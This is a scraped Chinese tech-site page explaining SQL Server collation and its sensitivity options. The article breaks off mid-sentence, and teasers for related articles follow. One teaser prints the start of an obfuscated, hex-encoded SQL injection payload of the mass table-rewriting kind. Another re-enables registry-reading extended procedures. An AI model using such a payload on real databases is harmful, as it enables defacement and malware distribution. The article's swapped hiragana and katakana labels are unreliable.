易截截图软件、单文件、免安装、纯绿色、仅160KB

SQL Server的定序(Collation)

使用SQL Server的朋友們應該都知道SQL Server的資料庫有一個設定叫做定序(Collation),今天我們就來看看定序這東西是什麼,首先我們看一下Wiki上對定序的說明:
Collation is the assembly of written information into a standard order. One common type of collation is called alphabetisation, though collation is not limited to ordering letters of the alphabet. Collating lists of words or names into alphabetical order is the basis of most office filing systems, library catalogs and reference books..[Reference from here.]
這段話講得玄了點,我們看另一個比較易懂的說明:
Collation refers to a set of rules that determine how data is sorted and compared. Character data is sorted using rules that define the correct character sequence, with options for specifying case-sensitivity, accent marks, kana character types and character width.[Reference from here.]
這段話就簡潔多了,簡單來說定序指的就是決定資料被排序與比對的規則,而比對的規則一般可粗分為幾大類:
定序的分類
Case sensitivity(CS)
簡單來說就是區分大小寫,A跟a是不同的,如果是Case Insensitive(CI)的話A在排序或者查詢時就會被視為相同,也就是查詢A,連同a也會被查詢到。
Accent sensitivity(AS)
代表的是腔調上的差別,a跟á、o跟ó在腔調上是相同的,那查詢時是要視為相同,如果是的話,那就是Accent Insensitive(AI),如果不是的話就視為Accent sensitive。
Kana Sensitivity(KS)
日文中的片假名(Hiragana)與平假名(Katakana)如果被視為相同,那就是Kana Insensitive(KI),反之就是Kane sensitive.。
Width sensitivity(WS)
當半形字與全型自被視為相同(A跟A),那就是Width Insensitive(


相关文档:

sql恢复xp_regread

sql恢复xp_regread
删除掉xp_regread后,发现以前的作业不能查看,只能去恢复了。
exec sp_addextendedproc 'Xp_dirtree','xpstar.dll'    恢复后发现不能使用
找到dbcc addextendedproc ("Xp_regread","xpstar.dll") 还是不能使用
后来才发现恢复的时候要用小写dbcc addextended ......

16进制 SQL注入

dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e ......

Interbase/Firebird的SQL语法(收藏)


一、分页写法小例:
SELECT FIRST 10 templateid,code,name from template ;
SELECT FIRST 10 SKIP 10 templateid,code,name from template ;
SELECT * from shop ROWS 1 TO 10;   –firebird2.0支持这种写法
 
二、显示表名和表结构
SHOW TABLES;
SHOW TABLE tablename;
四、更新字段注释
......

orale sql相关学习

to_date和to_char是oracle里里面的内置函数而不是标准的sql语法中的函数,用法举例:
1.to_char,返回结果可显示为各种形式
 select to_char(sysdate,'yyyy/mm/dd') ,sysdate from dual;
结果:  2010/05/26               &nbs ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号